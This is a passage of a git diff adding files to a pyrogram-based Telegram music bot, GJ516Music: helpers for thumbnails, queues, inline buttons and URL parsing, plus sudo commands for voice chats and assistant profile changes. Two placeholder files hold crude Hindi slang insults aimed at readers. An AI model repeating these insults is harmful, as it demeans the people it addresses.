WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + + +def get_readable_time(seconds: int) -> str: + count = 0 + ping_time = "" + time_list = [] + time_suffix_list = ["𝙎", "𝙈", "𝙃","𝘿𝘼𝙔𝙎"] + while count < 4: + count += 1 + if count < 3: + remainder, result = divmod(seconds, 60) + else: + remainder, result = divmod(seconds, 24) + if seconds == 0 and remainder == 0: + break + time_list.append(int(result)) + seconds = int(remainder) + for i in range(len(time_list)): + time_list[i] = str(time_list[i]) + time_suffix_list[i] + if len(time_list) == 4: + ping_time += time_list.pop() + ", " + time_list.reverse() + ping_time += ":".join(time_list) + return ping_time diff --git a/GJ516Music/Helpers/gets.py b/GJ516Music/Helpers/gets.py new file mode 100644 index 0000000..53803b9 --- /dev/null +++ b/GJ516Music/Helpers/gets.py @@ -0,0 +1,57 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +from typing import Union + +from pyrogram.enums import MessageEntityType +from pyrogram.types import Audio, Message, Voice + + +def get_url(message_1: Message) -> Union[str, None]: + messages = [message_1] + + if message_1.reply_to_message: + messages.append(message_1.reply_to_message) + + text = "" + offset = None + length = None + + for message in messages: + if offset: + break + + if message.entities: + for entity in message.entities: + if entity.type == MessageEntityType.URL: + text = message.text or message.caption + offset, length = entity.offset, entity.length + break + + if offset in (None,): + return None + + return text[offset : offset + length] + + +def get_file_name(audio: Union[Audio, Voice]): + return f'{audio.file_unique_id}.{audio.file_name.split(".")[-1] if not isinstance(audio, Voice) else "ogg"}' diff --git a/GJ516Music/Helpers/inline.py b/GJ516Music/Helpers/inline.py new file mode 100644 index 0000000..4e20414 --- /dev/null +++ b/GJ516Music/Helpers/inline.py @@ -0,0 +1,97 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup + +import config +from GJ516Music import BOT_USERNAME + +close_key = InlineKeyboardMarkup( + [[InlineKeyboardButton(text="❰𝗖𝗹𝗼𝘀𝗲❱", callback_data="close")]] +) + + +buttons = InlineKeyboardMarkup( + [ + [ + InlineKeyboardButton(text="❰𝙊𝙬𝙣𝙚𝙧❱", user_id=config.OWNER_ID), + InlineKeyboardButton(text="❰𝙂𝙧𝙤𝙪𝙥❱", url=config.SUPPORT_CHAT), + ] + ] +) + + +pm_buttons = [ + [ + InlineKeyboardButton( + text="𝗔𝗱𝗱 𝗺𝗲 𝘁𝗼 𝘆𝗼𝘂𝗿 𝗴𝗿𝗼𝘂𝗽", + url=f"https://t.me/{BOT_USERNAME}?startgroup=true", + ) + ], + [InlineKeyboardButton(text="❰𝘾𝙤𝙢𝙢𝙖𝙣𝙙𝙨❱", callback_data="GJ516_help")], + [ + InlineKeyboardButton(text="❰𝗖𝗵𝗮𝗻𝗻𝗲𝗹❱", url=config.SUPPORT_CHANNEL), + InlineKeyboardButton(text="❰𝗚𝗿𝗼𝘂𝗽❱", url=config.SUPPORT_CHAT), + ], + [ + InlineKeyboardButton(text="❰𝙊𝙬𝙣𝙚𝙧❱", user_id=config.OWNER_ID), + ], +] + + +gp_buttons = [ + [ + InlineKeyboardButton( + text="𝗔𝗱𝗱 𝗺𝗲 𝘁𝗼 𝘆𝗼𝘂𝗿 𝗴𝗿𝗼𝘂𝗽", + url=f"https://t.me/{BOT_USERNAME}?startgroup=true", + ) + ], + [ + InlineKeyboardButton(text="𝗥𝗲𝗽𝗼𝘀𝗶𝘁𝗼𝗿𝘆", url=f"https://github.com/MrProgrammer72/GJ516Music"), + ], +] + + +helpmenu = [ + [ + InlineKeyboardButton( + text="𝘽𝙤𝙩𝙪𝙨𝙚𝙧", + callback_data="GJ516_cb help", + ), + + InlineKeyboardButton(text="𝙎𝙪𝙙𝙤𝙪𝙨𝙚𝙧", callback_data="GJ516_cb sudo"), + ], + [ InlineKeyboardButton(text="⚡ 𝗥𝗲𝗽𝗼𝘀𝗶𝘁𝗼𝗿𝘆 ⚡", url=f"https://github.com/MrProgrammer72/GJ516Music"), + ], + [ + InlineKeyboardButton(text="𝗕𝗮𝗰𝗸", callback_data="GJ516_home"), + InlineKeyboardButton(text="𝗖𝗹𝗼𝘀𝗲", callback_data="close"), + ], +] + + +help_back = [ + [ + InlineKeyboardButton(text="𝗕𝗮𝗰𝗸", callback_data="GJ516_help"), + InlineKeyboardButton(text="𝗖𝗹𝗼𝘀𝗲", callback_data="close"), + ], +] diff --git a/GJ516Music/Helpers/queue.py b/GJ516Music/Helpers/queue.py new file mode 100644 index 0000000..224e755 --- /dev/null +++ b/GJ516Music/Helpers/queue.py @@ -0,0 +1,48 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +from GJ516Music import GJ516db + + +async def put( + chat_id, + title, + duration, + videoid, + file_path, + ruser, + user_id, +): + put_f = { + "title": title, + "duration": duration, + "file_path": file_path, + "videoid": videoid, + "req": ruser, + "user_id": user_id, + } + get = GJ516db.get(chat_id) + if get: + GJ516db[chat_id].append(put_f) + else: + GJ516db[chat_id] = [] + GJ516db[chat_id].append(put_f) diff --git a/GJ516Music/Helpers/thumbnails.py b/GJ516Music/Helpers/thumbnails.py new file mode 100644 index 0000000..1476cb5 --- /dev/null +++ b/GJ516Music/Helpers/thumbnails.py @@ -0,0 +1,343 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +import os +import re +import textwrap + +import aiofiles +import aiohttp +import numpy as np +from PIL import Image, ImageChops, ImageDraw, ImageEnhance, ImageFilter, ImageFont +from youtubesearchpython.__future__ import VideosSearch + +from config import FAILED +from GJ516Music import BOT_ID, LOGGER, app + + +def changeImageSize(maxWidth, maxHeight, image): + widthRatio = maxWidth / image.size[0] + heightRatio = maxHeight / image.size[1] + newWidth = int(widthRatio * image.size[0]) + newHeight = int(heightRatio * image.size[1]) + newImage = image.resize((newWidth, newHeight)) + return newImage + + +def add_corners(im): + bigsize = (im.size[0] * 3, im.size[1] * 3) + mask = Image.new("L", bigsize, 0) + ImageDraw.Draw(mask).ellipse((0, 0) + bigsize, fill=255) + mask = mask.resize(im.size, Image.ANTIALIAS) + mask = ImageChops.darker(mask, im.split()[-1]) + im.putalpha(mask) + + +async def gen_thumb(videoid, user_id): + if os.path.isfile(f"cache/{videoid}_{user_id}.png"): + return f"cache/{videoid}_{user_id}.png" + url = f"https://www.youtube.com/watch?v={videoid}" + try: + results = VideosSearch(url, limit=1) + for result in (await results.next())["result"]: + try: + title = result["title"] + title = re.sub("\W+", " ", title) + title = title.title() + except: + title = "Unsupported Title" + try: + duration = result["duration"] + except: + duration = "Unknown" + thumbnail = result["thumbnails"][0]["url"].split("?")[0] + try: + result["viewCount"]["short"] + except: + pass + try: + result["channel"]["name"] + except: + pass + + async with aiohttp.ClientSession() as session: + async with session.get(thumbnail) as resp: + if resp.status == 200: + f = await aiofiles.open(f"cache/thumb{videoid}.png", mode="wb") + await f.write(await resp.read()) + await f.close() + + try: + wxy = await app.download_media( + (await app.get_users(user_id)).photo.big_file_id, + file_name=f"{user_id}.jpg", + ) + except: + wxy = await app.download_media( + (await app.get_users(BOT_ID)).photo.big_file_id, + file_name=f"{BOT_ID}.jpg", + ) + + xy = Image.open(wxy) + a = Image.new("L", [640, 640], 0) + b = ImageDraw.Draw(a) + b.pieslice([(0, 0), (640, 640)], 0, 360, fill=255, outline="white") + c = np.array(xy) + d = np.array(a) + e = np.dstack((c, d)) + f = Image.fromarray(e) + x = f.resize((107, 107)) + + youtube = Image.open(f"cache/thumb{videoid}.png") + bg = Image.open(f"GJ516Music/Helpers/utils/circle.png") + image1 = changeImageSize(1280, 720, youtube) + image2 = image1.convert("RGBA") + background = image2.filter(filter=ImageFilter.BoxBlur(30)) + enhancer = ImageEnhance.Brightness(background) + background = enhancer.enhance(0.6) + + image3 = changeImageSize(1280, 720, bg) + image5 = image3.convert("RGBA") + Image.alpha_composite(background, image5).save(f"cache/temp{videoid}.png") + + Xcenter = youtube.width / 2 + Ycenter = youtube.height / 2 + x1 = Xcenter - 250 + y1 = Ycenter - 250 + x2 = Xcenter + 250 + y2 = Ycenter + 250 + logo = youtube.crop((x1, y1, x2, y2)) + logo.thumbnail((520, 520), Image.ANTIALIAS) + logo.save(f"cache/chop{videoid}.png") + if not os.path.isfile(f"cache/cropped{videoid}.png"): + im = Image.open(f"cache/chop{videoid}.png").convert("RGBA") + add_corners(im) + im.save(f"cache/cropped{videoid}.png") + + crop_img = Image.open(f"cache/cropped{videoid}.png") + logo = crop_img.convert("RGBA") + logo.thumbnail((365, 365), Image.ANTIALIAS) + width = int((1280 - 365) / 2) + background = Image.open(f"cache/temp{videoid}.png") + background.paste(logo, (width + 2, 138), mask=logo) + background.paste(x, (710, 427), mask=x) + background.paste(image3, (0, 0), mask=image3) + + draw = ImageDraw.Draw(background) + font = ImageFont.truetype("GJ516Music/Helpers/utils/font2.ttf", 45) + ImageFont.truetype("GJ516Music/Helpers/utils/font2.ttf", 70) + arial = ImageFont.truetype("GJ516Music/Helpers/utils/font2.ttf", 30) + ImageFont.truetype("GJ516Music/Helpers/utils/font.ttf", 30) + para = textwrap.wrap(title, width=32) + try: + draw.text( + (450, 25), + f"STARTED PLAYING", + fill="white", + stroke_width=3, + stroke_fill="grey", + font=font, + ) + if para[0]: + text_w, text_h = draw.textsize(f"{para[0]}", font=font) + draw.text( + ((1280 - text_w) / 2, 530), + f"{para[0]}", + fill="white", + stroke_width=1, + stroke_fill="white", + font=font, + ) + if para[1]: + text_w, text_h = draw.textsize(f"{para[1]}", font=font) + draw.text( + ((1280 - text_w) / 2, 580), + f"{para[1]}", + fill="white", + stroke_width=1, + stroke_fill="white", + font=font, + ) + except: + pass + text_w, text_h = draw.textsize(f"Duration: {duration} Mins", font=arial) + draw.text( + ((1280 - text_w) / 2, 660), + f"Duration: {duration} Mins", + fill="white", + font=arial, + ) + try: + os.remove(f"cache/thumb{videoid}.png") + except: + pass + background.save(f"cache/{videoid}_{user_id}.png") + return f"cache/{videoid}_{user_id}.png" + except Exception as e: + LOGGER.error(e) + return FAILED + + +async def gen_qthumb(videoid, user_id): + if os.path.isfile(f"cache/que{videoid}_{user_id}.png"): + return f"cache/que{videoid}_{user_id}.png" + url = f"https://www.youtube.com/watch?v={videoid}" + try: + results = VideosSearch(url, limit=1) + for result in (await results.next())["result"]: + try: + title = result["title"] + title = re.sub("\W+", " ", title) + title = title.title() + except: + title = "Unsupported Title" + try: + duration = result["duration"] + except: + duration = "Unknown" + thumbnail = result["thumbnails"][0]["url"].split("?")[0] + try: + result["viewCount"]["short"] + except: + pass + try: + result["channel"]["name"] + except: + pass + + async with aiohttp.ClientSession() as session: + async with session.get(thumbnail) as resp: + if resp.status == 200: + f = await aiofiles.open(f"cache/thumb{videoid}.png", mode="wb") + await f.write(await resp.read()) + await f.close() + + try: + wxy = await app.download_media( + (await app.get_users(user_id)).photo.big_file_id, + file_name=f"{user_id}.jpg", + ) + except: + wxy = await app.download_media( + (await app.get_users(BOT_ID)).photo.big_file_id, + file_name=f"{BOT_ID}.jpg", + ) + + xy = Image.open(wxy) + a = Image.new("L", [640, 640], 0) + b = ImageDraw.Draw(a) + b.pieslice([(0, 0), (640, 640)], 0, 360, fill=255, outline="white") + c = np.array(xy) + d = np.array(a) + e = np.dstack((c, d)) + f = Image.fromarray(e) + x = f.resize((107, 107)) + + youtube = Image.open(f"cache/thumb{videoid}.png") + bg = Image.open(f"GJ516Music/Helpers/utils/circle.png") + image1 = changeImageSize(1280, 720, youtube) + image2 = image1.convert("RGBA") + background = image2.filter(filter=ImageFilter.BoxBlur(30)) + enhancer = ImageEnhance.Brightness(background) + background = enhancer.enhance(0.6) + + image3 = changeImageSize(1280, 720, bg) + image5 = image3.convert("RGBA") + Image.alpha_composite(background, image5).save(f"cache/temp{videoid}.png") + + Xcenter = youtube.width / 2 + Ycenter = youtube.height / 2 + x1 = Xcenter - 250 + y1 = Ycenter - 250 + x2 = Xcenter + 250 + y2 = Ycenter + 250 + logo = youtube.crop((x1, y1, x2, y2)) + logo.thumbnail((520, 520), Image.ANTIALIAS) + logo.save(f"cache/chop{videoid}.png") + if not os.path.isfile(f"cache/cropped{videoid}.png"): + im = Image.open(f"cache/chop{videoid}.png").convert("RGBA") + add_corners(im) + im.save(f"cache/cropped{videoid}.png") + + crop_img = Image.open(f"cache/cropped{videoid}.png") + logo = crop_img.convert("RGBA") + logo.thumbnail((365, 365), Image.ANTIALIAS) + width = int((1280 - 365) / 2) + background = Image.open(f"cache/temp{videoid}.png") + background.paste(logo, (width + 2, 138), mask=logo) + background.paste(x, (710, 427), mask=x) + background.paste(image3, (0, 0), mask=image3) + + draw = ImageDraw.Draw(background) + font = ImageFont.truetype("GJ516Music/Helpers/utils/font2.ttf", 45) + ImageFont.truetype("GJ516Music/Helpers/utils/font2.ttf", 70) + arial = ImageFont.truetype("GJ516Music/Helpers/utils/font2.ttf", 30) + ImageFont.truetype("GJ516Music/Helpers/utils/font.ttf", 30) + para = textwrap.wrap(title, width=32) + try: + draw.text( + (455, 25), + "ADDED TO QUEUE", + fill="white", + stroke_width=5, + stroke_fill="black", + font=font, + ) + if para[0]: + text_w, text_h = draw.textsize(f"{para[0]}", font=font) + draw.text( + ((1280 - text_w) / 2, 530), + f"{para[0]}", + fill="white", + stroke_width=1, + stroke_fill="white", + font=font, + ) + if para[1]: + text_w, text_h = draw.textsize(f"{para[1]}", font=font) + draw.text( + ((1280 - text_w) / 2, 580), + f"{para[1]}", + fill="white", + stroke_width=1, + stroke_fill="white", + font=font, + ) + except: + pass + text_w, text_h = draw.textsize(f"Duration: {duration} Mins", font=arial) + draw.text( + ((1280 - text_w) / 2, 660), + f"Duration: {duration} Mins", + fill="white", + font=arial, + ) + + try: + os.remove(f"cache/thumb{videoid}.png") + except: + pass + background.save(f"cache/que{videoid}_{user_id}.png") + return f"cache/que{videoid}_{user_id}.png" + except Exception as e: + LOGGER.error(e) + return FAILED diff --git a/GJ516Music/Helpers/utils/JAY DEVELOPER b/GJ516Music/Helpers/utils/JAY DEVELOPER new file mode 100644 index 0000000..20c79d9 --- /dev/null +++ b/GJ516Music/Helpers/utils/JAY DEVELOPER @@ -0,0 +1 @@ +Kya dek rha h be lodu 😂😂 diff --git a/GJ516Music/Helpers/utils/__init__.py b/GJ516Music/Helpers/utils/__init__.py new file mode 100644 index 0000000..cc50aa5 --- /dev/null +++ b/GJ516Music/Helpers/utils/__init__.py @@ -0,0 +1,21 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. diff --git a/GJ516Music/Helpers/utils/circle.png b/GJ516Music/Helpers/utils/circle.png new file mode 100644 index 0000000..e4d1be4 Binary files /dev/null and b/GJ516Music/Helpers/utils/circle.png differ diff --git a/GJ516Music/Helpers/utils/font.ttf b/GJ516Music/Helpers/utils/font.ttf new file mode 100644 index 0000000..3b8622f Binary files /dev/null and b/GJ516Music/Helpers/utils/font.ttf differ diff --git a/GJ516Music/Helpers/utils/font2.ttf b/GJ516Music/Helpers/utils/font2.ttf new file mode 100644 index 0000000..2ceaf63 Binary files /dev/null and b/GJ516Music/Helpers/utils/font2.ttf differ diff --git a/GJ516Music/Modules/JAY DEVELOPER b/GJ516Music/Modules/JAY DEVELOPER new file mode 100644 index 0000000..62de020 --- /dev/null +++ b/GJ516Music/Modules/JAY DEVELOPER @@ -0,0 +1 @@ +Lund lele bsdk ke 😂 diff --git a/GJ516Music/Modules/__init__.py b/GJ516Music/Modules/__init__.py new file mode 100644 index 0000000..1a6ac00 --- /dev/null +++ b/GJ516Music/Modules/__init__.py @@ -0,0 +1,40 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +import glob +from os.path import basename, dirname, isfile + + +def __list_all_modules(): + mod_paths = glob.glob(dirname(__file__) + "/*.py") + + all_modules = [ + basename(f)[:-3] + for f in mod_paths + if isfile(f) and f.endswith(".py") and not f.endswith("__init__.py") + ] + + return all_modules + + +ALL_MODULES = sorted(__list_all_modules()) +__all__ = ALL_MODULES + ["ALL_MODULES"] diff --git a/GJ516Music/Modules/activevc.py b/GJ516Music/Modules/activevc.py new file mode 100644 index 0000000..7c92e1a --- /dev/null +++ b/GJ516Music/Modules/activevc.py @@ -0,0 +1,55 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +from pyrogram import filters +from pyrogram.types import Message + +from GJ516Music import SUDOERS, app +from GJ516Music.Helpers.active import get_active_chats +from GJ516Music.Helpers.inline import close_key + + +@app.on_message(filters.command("activevc") & SUDOERS) +async def activevc(_, message: Message): + mystic = await message.reply_text("𝙅𝙖𝙮 𝙂𝙚𝙩𝙩𝙞𝙣𝙜 𝘼𝙘𝙩𝙞𝙫𝙚 𝙑𝙤𝙞𝙘𝙚𝘾𝙝𝙖𝙩𝙨 𝙇𝙞𝙨𝙩.... ☘") + chats = await get_active_chats() + text = "" + j = 0 + for chat in chats: + try: + title = (await app.get_chat(chat)).title + except Exception: + title = "𝙋𝙧𝙞𝙫𝙖𝙩𝙚 𝘾𝙝𝙖𝙩 " + if (await app.get_chat(chat)).username: + user = (await app.get_chat(chat)).username + text += f"{j + 1}. [{title}](https://t.me/{user})\n" + else: + text += f"{j + 1}. {title} [`{chat}`]\n" + j += 1 + if not text: + await mystic.edit_text("𝙉𝙤 𝘼𝙘𝙩𝙞𝙫𝙚 𝙑𝙞𝙙𝙚𝙤 𝘾𝙝𝙖𝙩 𝙊𝙣 𝙈𝙪𝙨𝙞𝙘𝘽𝙤𝙩.") + else: + await mystic.edit_text( + f"**𝙇𝙞𝙨𝙩 𝙤𝙛 𝘾𝙪𝙧𝙧𝙚𝙣𝙩𝙡𝙮 𝘼𝙘𝙩𝙞𝙫𝙚 𝙑𝙤𝙞𝙘𝙚 𝙘𝙝𝙖𝙩 𝙊𝙣 𝙈𝙪𝙨𝙞𝙘 𝘽𝙤𝙩 :**\n\n{text}", + reply_markup=close_key, + disable_web_page_preview=True, + ) diff --git a/GJ516Music/Modules/assistant.py b/GJ516Music/Modules/assistant.py new file mode 100644 index 0000000..81a48d9 --- /dev/null +++ b/GJ516Music/Modules/assistant.py @@ -0,0 +1,95 @@ +# MIT License +# +# Copyright (c) 2023 MrProgrammer72 +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +from pyrogram import filters +from pyrogram.types import Message + +from GJ516Music import ASS_MENTION, LOGGER, SUDOERS, app, app2 + + +@app.on_message(filters.command(["asspfp", "setpfp"]) & SUDOERS) +async def set_pfp(_, message: Message): + if message.reply_to_message.photo: + fuk = await message.reply_text("𝙉𝙤 𝘾𝙝𝙖𝙣𝙜𝙞𝙣𝙜 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩'𝙨 𝙋𝙧𝙤𝙛𝙞𝙡𝙚 𝙋𝙞𝙘...") + img = await message.reply_to_message.download() + try: + await app2.set_profile_photo(photo=img) + return await fuk.edit_text( + f"» {ASS_MENTION} 𝙋𝙧𝙤𝙛𝙞𝙡𝙚 𝙋𝙞𝙘 𝘾𝙝𝙖𝙣𝙜𝙚𝙙 𝙎𝙪𝙘𝙘𝙚𝙨𝙨𝙛𝙪𝙡𝙡𝙮.." + ) + except: + return await fuk.edit_text("𝙁𝙖𝙞𝙡𝙚𝙙 𝙩𝙤 𝘾𝙝𝙖𝙣𝙜𝙚 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩'𝙨 𝙋𝙧𝙤𝙛𝙞𝙡𝙚 𝙋𝙞𝙘.") + else: + await message.reply_text( + "𝙍𝙚𝙥𝙡𝙮 𝙏𝙤 𝘼 𝙋𝙝𝙤𝙩𝙤 𝙁𝙤𝙧 𝘾𝙝𝙖𝙣𝙜𝙞𝙣𝙜 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩'𝙨 𝙋𝙧𝙤𝙛𝙞𝙡𝙚 𝙋𝙞𝙘.." + ) + + +@app.on_message(filters.command(["delpfp", "delasspfp"]) & SUDOERS) +async def set_pfp(_, message: Message): + try: + pfp = [p async for p in app2.get_chat_photos("me")] + await app2.delete_profile_photos(pfp[0].file_id) + return await message.reply_text( "𝙎𝙪𝙘𝙘𝙚𝙨𝙨𝙛𝙪𝙡𝙡𝙮 𝘿𝙚𝙡𝙚𝙩𝙚𝙙 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩'𝙨 𝙋𝙧𝙤𝙛𝙞𝙡𝙚 𝙋𝙞𝙘." ) + except Exception as ex: + LOGGER.error(ex) + await message.reply_text("𝙁𝙖𝙞𝙡𝙚𝙙 𝙏𝙤 𝘿𝙚𝙡𝙚𝙩𝙚 𝘼𝙨𝙨𝙞𝙨𝙩𝙖𝙣𝙩'𝙨 𝙋𝙧𝙤𝙛𝙞𝙡𝙚 𝙋𝙞𝙘.") + + +@app.on_message(filters.command(["assbio", "setbio"]) & SUDOERS) +async def set_bio(_, message: Message): + msg = message.reply_to_message + if msg: + if msg.text: + newbio = msg.text + await app2.update_profile(bio=newbio) + return await message.reply_text( + f"» {ASS_MENTION} 𝘽𝙞𝙤 𝘾𝙝𝙖𝙣𝙜𝙚𝙙 𝙎𝙪𝙘𝙘𝙚𝙨𝙨𝙛𝙪𝙡𝙡𝙮." + ) + elif len(message.command) != 1: + newbio = message.text.split(None, 1)[1] + await app2.update_profile(bio=newbio) + return await message.reply_text(f"» {ASS_MENTION} 𝘽𝙞𝙤 